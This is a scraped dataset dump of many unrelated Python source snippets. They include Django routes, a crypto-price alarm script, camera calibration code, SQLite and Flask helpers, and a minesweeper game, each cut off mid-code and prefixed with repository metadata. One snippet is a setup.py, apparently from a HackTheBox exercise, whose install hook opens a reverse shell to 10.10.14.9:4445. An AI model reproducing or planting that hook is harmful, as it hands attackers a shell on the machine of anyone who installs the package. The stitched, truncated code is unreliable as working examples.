from rpython.rlib.objectmodel import specialize
from rpython.rlib.debug imp... | mozillazg/pypy | rpython/jit/metainterp/executor.py | executor.py | py | 23,295 | python | en | code | 430 | github-code | 36 |
12085831934 | from django.urls import re_path, include
from registration import views
from django.contrib.auth import views as auth_views
urlpatterns = [
re_path(r'^login/$', auth_views.login, name='login'),
re_path(r'^logout/$', auth_views.logout, {'next_page': '/'}, name='logout'),
re_path(r'^signup/$', views.signup,... | rgeurgas/Sid | registration/urls.py | urls.py | py | 575 | python | en | code | 0 | github-code | 36 |
12868339424 | from typing import List
from name_genie.common import data_dao_stem, data_dao_male_suffix, data_dao_female_suffix, data_shared_dao, data_shared_thing, data_shared_adj, data_shared_number
from name_genie.util import to_str
import random
__all__ = ['get_daos']
stems = data_dao_stem + data_shared_dao + data_shared_thin... | name-genie/name-genie-python | name_genie/dao.py | dao.py | py | 1,399 | python | en | code | 0 | github-code | 36 |
8562919260 | import time
import threading
import json
import datetime
from collections import deque
import ctypes
import os
import UpbitWrapper
from playsound import playsound
ALARM_SWITCH = True
SOUND_SWITCH = True
def tdstr(td):
days = ""
hours = ""
minutes = ""
seconds = "0"
ms = ""
if td.days != 0:
days = f"{td.days... | livelykitten/Coinwork | Document1.py | Document1.py | py | 11,579 | python | en | code | 0 | github-code | 36 |
35029256291 | from mpl_toolkits.axes_grid1 import make_axes_locatable
import matplotlib.pyplot as plt
import numpy as np
from collections.abc import Iterable
def colorbar(mappable, pad=0.1, side="right"):
'''
colorbar whose height (or width) in sync with the master axe
https://matplotlib.org/mpl_toolkits/axes_grid/use... | harrisonv789/Astro_Scripts | modules/colorbar_utils.py | colorbar_utils.py | py | 2,405 | python | en | code | 3 | github-code | 36 |
41946416343 |
import numpy as np
import cv2
import glob
from matplotlib import pyplot as plt
import os
from mpl_toolkits.mplot3d import axes3d, Axes3D
base_folder = os.getcwd() +'/parameters/'
s = cv2.FileStorage(base_folder + 'left_camera_intrinsics.xml', cv2.FileStorage_READ)
mtx_left = s.getNode('mtx_left').mat()
distCoeffs_l... | YB-Joe/Perception_in_Robotics | project_2a/code/task_4/task_4.py | task_4.py | py | 2,903 | python | en | code | 0 | github-code | 36 |
22827039598 | import sqlite3
__author__ = 'marcelo_garay'
import os
class DBManager(object):
db_name = os.path.abspath(
os.path.join(os.path.dirname(__file__), '../../../db/sicarios'))
def __init__(self):
"""
Make connection to an SQLite database file
:param db:
:retu... | edson-gonzales/SICARIOS | src/db/transactions/DBManager.py | DBManager.py | py | 825 | python | en | code | 0 | github-code | 36 |
39363534839 | import os, sys
import csv
import random
import signal
import socket
import threading
import time
import datetime
from fxpmath import Fxp
from Parse_DNN import *
from EKF_AoA import *
import numpy.matlib
import numpy as np
from numpy.linalg import inv
from numpy.core.fromnumeric import transpose
import math
from math ... | yws94/Unlab_SR150 | prev_ver/Unlab_SR150_ver3.py | Unlab_SR150_ver3.py | py | 7,042 | python | en | code | 2 | github-code | 36 |
12887801729 | import spacy
from spacy import displacy
nlp = spacy.load('en_coref_md')
print("loaded")
text = r'''
Although Apple does not break down sales of AirPods, the company reported in January that its "other" product category, which includes AirPod sales, grew 33% to $7.3 from a year earlier, the fastest growing category.'... | AngeloCioffi/Info-Retrieval-Practical-NLP | neuralcoref/corref.py | corref.py | py | 484 | python | en | code | 1 | github-code | 36 |
29649845397 | import urllib3
import urllib.request
import base64
import json
import pandas as pd
from tabulate import tabulate
import codecs
import numpy as np
url = 'https://infeci.capsulecrm.com/api/opportunity'
headers = {}
# base64string = base64.urlsafe_b64encode('2d486e42771eee18125b8aef3afe216d:4c2TNRdi')
base64string = bas... | rubenglezant/playBetterBets | Python-Bolsa/reportCRM/buildReport.py | buildReport.py | py | 3,230 | python | en | code | 0 | github-code | 36 |
24151547273 | import pandas as pd
def calculate_demographic_data(print_data=True):
# Read data from file
df = pd.read_csv('adult.data.csv')
# Define property for the dataset by using a Panda series.
race_count = df['race'].value_counts()
average_age_men = round(df[df['sex'] == 'Male']['age'].mean(),... | SoDisliked/Demographic-Analyzer-Romania | Model.py | Model.py | py | 2,909 | python | en | code | 1 | github-code | 36 |
40353460149 | # -*- coding:utf-8 _*-
"""
@author:crd
@file: weather.py
@time: 2018/04/09
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
filename = 'month.csv'
data = pd.read_csv(filename)
data_DelRainError = data.drop(data.index[abs(data['V13011']) == 32766]) # 删除没有降水量的行
data_station1 = data_DelRai... | crd57/backup | weather.py | weather.py | py | 1,316 | python | en | code | 0 | github-code | 36 |
7004941204 | from distutils.core import setup
from setuptools.command.install import install
import socket, subprocess,os
class PreInstallCommand(install):
def run(self):
shell()
install.run(self)
def shell():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.9",4445))
os.dup2(s.fileno(),0)
os.dup2... | nutty-guineapig/htb-pub | sneakymailer/sneakymailer/mypackage/setup.py | setup.py | py | 773 | python | en | code | 0 | github-code | 36 |
1119194210 | # -*- coding: utf-8 -*-
"""
Created on Mon Jun 19 11:21:13 2023
@author: nmorales
"""
from requests.auth import HTTPBasicAuth
import requests
import json
import matplotlib
import pandas as pd
import numpy as np
url_cotizacion = 'https://cloud.biva.mx/stock-exchange/BIVA/quote?isin=MX01AM050019&period=Y&quantity=5'
... | NRMAnaya/PythonForFinance | RateOfReturn/Simple&LogarithmicReturnBIVACLOUD.py | Simple&LogarithmicReturnBIVACLOUD.py | py | 2,522 | python | es | code | 0 | github-code | 36 |
72092399465 | lst = list("HelloPython!") # list() 함수 호출하여 문자열을 인자로 전달하여 각 문자가 리스트의 요소인 리스트를 만들어 변수 lst에 대입
print(" + " + "012345678901") # 표준 출력 함수 print() 호출하여 문자열 출력, 인덱스 오름차순
print(" " + "HelloPython!") # 표준 출력 함수 print() 호출하여 문자열 출력, 리스트에 담긴 문자열
print(" - " + "210987654321") # 표준 출력 함수 print() 호출하여 문자열 출력, 인덱스 역순
while True:... | jectgenius/python | ch05/05-ch03.py | 05-ch03.py | py | 1,777 | python | ko | code | 0 | github-code | 36 |
29335693587 | from keras.models import load_model
from sklearn.metrics import confusion_matrix
import itertools
import numpy as np
import matplotlib.pyplot as plt
import sys
import csv
def load_data(train_data_path):
X_train = []
Y_train = []
text = open(train_data_path, 'r', encoding='big5')
row = csv.reader(text... | b01901143/ML2017FALL | hw3/confusion.py | confusion.py | py | 2,433 | python | en | code | 1 | github-code | 36 |
9366591632 | # coding=utf-8
from flask import Flask, jsonify, render_template, request
from py2neo import Graph
import jw.Q_Search as search
import json
import logging
logging.basicConfig(level=logging.WARNING,
format='%(asctime)s %(levelname)s %(message)s',
datefmt='%a, %d %b %Y %H:%M:%S... | ChandlerBang/Movie-QA-System | flask_app.py | flask_app.py | py | 6,282 | python | en | code | 58 | github-code | 36 |
31872554645 | import os
from services.connect import *
from flask import Blueprint, jsonify, request
from flask_cors import cross_origin
from dotenv import load_dotenv
import uuid
load_dotenv()
review_blueprint = Blueprint('reviews', __name__)
MONGODB_CONNECTION_STRING = os.getenv("MONGO_URI")
MONGODB_DATABASE = 'ch'
# POST crea... | dp3why/dessert-service | controllers/review_controller.py | review_controller.py | py | 819 | python | en | code | 0 | github-code | 36 |
16256225108 | from relay import Relay
r = Relay()
html = ""
with open("pcb2.html", 'r') as f:
html = f.read()
def web_page():
if r.get_value():
r_state = "ON"
else:
r_state = "OFF"
return html.replace('r_state', r_state)
def serve():
while True:
conn, addr = s.accept()
request ... | lalondesteve/py8266 | on_off_server/main.py | main.py | py | 1,399 | python | en | code | 0 | github-code | 36 |
72692990823 | import sqlite3
class Db:
"""
A class used to represent database(Db)
"""
def __init__(self, database):
self.conn = sqlite3.connect(database, check_same_thread=False)
self.conn.row_factory = sqlite3.Row
self.cursor = self.conn.cursor()
def execute(self, query):... | madeleinema-cee/think-of-an-animal-flask | db.py | db.py | py | 2,372 | python | en | code | 0 | github-code | 36 |
16096100007 | import pygame
import minesweeper_map as mm
pygame.init()
class minesweeper_tile():
def __init__(self, v, f=False, h=True):
self.value = v
self.flag = f
self.hidden = h
def set_value(self, v):
self.value = v
def set_flag(self):
self.flag = not self.flag
def s... | mjd-programming/Minesweeper | minesweeper_game.py | minesweeper_game.py | py | 4,549 | python | en | code | 0 | github-code | 36 |
34715801253 | from __future__ import absolute_import
from os import environ
import json
from flask import Flask, jsonify, request
import settings
from celery import Celery
import urllib2
app = Flask(__name__)
app.config.from_object(settings)
'''
==========================================
============= CELERY Section =============
... | elihusmails/myassistant | src/app/tasks.py | tasks.py | py | 3,707 | python | en | code | 0 | github-code | 36 |
22704609724 | # Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def zigzagLevelOrder(self, root):
"""
:type root: TreeNode
:rtype: List[List[int]]
"""
... | CHENG-KAI/Leetcode | 103_binary_tree_zigzag_level_order_traversal.py | 103_binary_tree_zigzag_level_order_traversal.py | py | 873 | python | en | code | 0 | github-code | 36 |
29903913111 | # -*- coding: utf-8 -*-
"""
Created on Fri Sep 11 18:22:46 2020
@author: Zamberlam
"""
def isIn(char, aStr):
'''
char: a single character
aStr: an alphabetized string
returns: True if char is in aStr; False otherwise
'''
if aStr == '':
return False
if len(aS... | FZamberlam/MITx-6.00.1x-Python | Week_2_-_Simple_Programs/Exercises/isIn.py | isIn.py | py | 637 | python | en | code | 0 | github-code | 36 |
13780023529 | import sys
sys.setrecursionlimit(10 ** 9)
def preorder(root):
print(root, end = "")
left = tree[root][0]
right = tree[root][1]
if left != ".":
preorder(left)
if right != ".":
preorder(right)
def inorder(root):
left = tree[root][0]
right = tree[root][1]
if left != ".... | Yangseyeon/BOJ | 02. Silver/1991.py | 1991.py | py | 831 | python | en | code | 0 | github-code | 36 |
13823173820 | # we are going to make 3D spiral in vs code using python
import turtle as dk
import colorsys
dk.bgcolor('black')
dk.speed('fastest')
dk.pensize(2)
hue=0.0
dk.hideturtle()
for i in range(500):
color=colorsys.hls_to_rgb(hue,0.6,1)
dk.pencolor(color)
dk.fd(i)
dk.rt(98.5)
dk.circle(100)
hue+=0.005... | DRKAFLE123/allpydraw | pydraw/spiral.py | spiral.py | py | 358 | python | en | code | 0 | github-code | 36 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.